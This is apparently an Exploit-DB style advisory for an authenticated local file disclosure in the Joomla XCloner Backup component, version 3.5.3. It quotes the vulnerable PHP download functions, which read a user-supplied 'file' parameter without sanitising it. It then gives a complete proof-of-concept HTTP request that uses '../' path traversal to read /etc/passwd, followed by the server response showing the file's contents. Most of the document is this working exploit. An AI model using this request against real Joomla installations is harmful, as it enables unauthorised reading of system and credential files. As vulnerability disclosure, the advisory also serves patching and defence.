#Exploit Title: Joomla XCloner Backup - Authenticated Local File Disclosure
#Date: 10.05.2020
#Exploit Author: Mehmet Kelepçe / Gais Cyber Security
#Exploit-Db Author ID: 8763
#Reference: https://www.xcloner.com/xcloner-news/security-release-available-for-archived-joomla-version/
#Vendor Homepage: http://www.xcloner.com
#Software Link: https://www.xcloner.com/support/download/
#Version: 3.5.3
#Tested on: Kali Linux - Apache2
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Detail:
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File: administrator/components/com_xcloner-backupandstore/admin.cloner.php -->
------------
case 'download':
 downloadBackup($_REQUEST['file']);
 break;
-------------
downloadBackup function's file -> administrator/components/com_xcloner-backupandstore/cloner.functions.php
Vulnerable parameter: file

downloadBackup function's definition
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  function downloadBackup($file)
  {
      global $_CONFIG;

      $file = realpath($_CONFIG['clonerPath'] . "/$file");

      //First, see if the file exists
      if (!is_file($file)) {
          die("<b>404 File $file was not found!</b>");
      }

      //File Info
      $len = get_filesize($file);
      $filename = basename($file);
      $file_extension = strtolower(substr(strrchr($filename, "."), 1));

      //Setam Content-Type-urile pentru  fisierul in cauza
      switch ($file_extension) {
          default:
              $ctype = "application/force-download";
      }

 smartReadFile($file, $filename);

      exit;
  }
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and smartReadFile function's definition
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function smartReadFile($location, $filename, $mimeType='application/octet-stream')
{ if(!file_exists($location))
  { header ("HTTP/1.0 404 Not Found");
    return;
  }

  $size=filesize($location);
  $time=date('r',filemtime($location));

  $fm=@fopen($location,'r');
.
.
.
--------------------------------------------------------------------------------
PoC:
Request:
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GET /joomla/administrator/index.php?option=com_xcloner-backupandrestore&task=download&file=../../../../../../../../etc/passwd HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/joomla/administrator/index.php?option=com_xcloner-backupandrestore&task=view
Connection: close
Cookie: COOKIES
Upgrade-Insecure-Requests: 1
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Response:
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HTTP/1.0 200 OK
Date: Sun, 10 May 2020 18:12:04 GMT
Server: Apache/2.4.41 (Debian)
Cache-Control: public, must-revalidate, max-age=0
Pragma: no-cache
Accept-Ranges: bytes
Content-Length: 3347
Content-Range: bytes 0-3347/3347
Content-Disposition: inline; filename=passwd
Content-Transfer-Encoding: binary
Last-Modified: Sun, 22 Mar 2020 05:41:35 -0700
Connection: close
Content-Type: application/octet-stream

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
.
.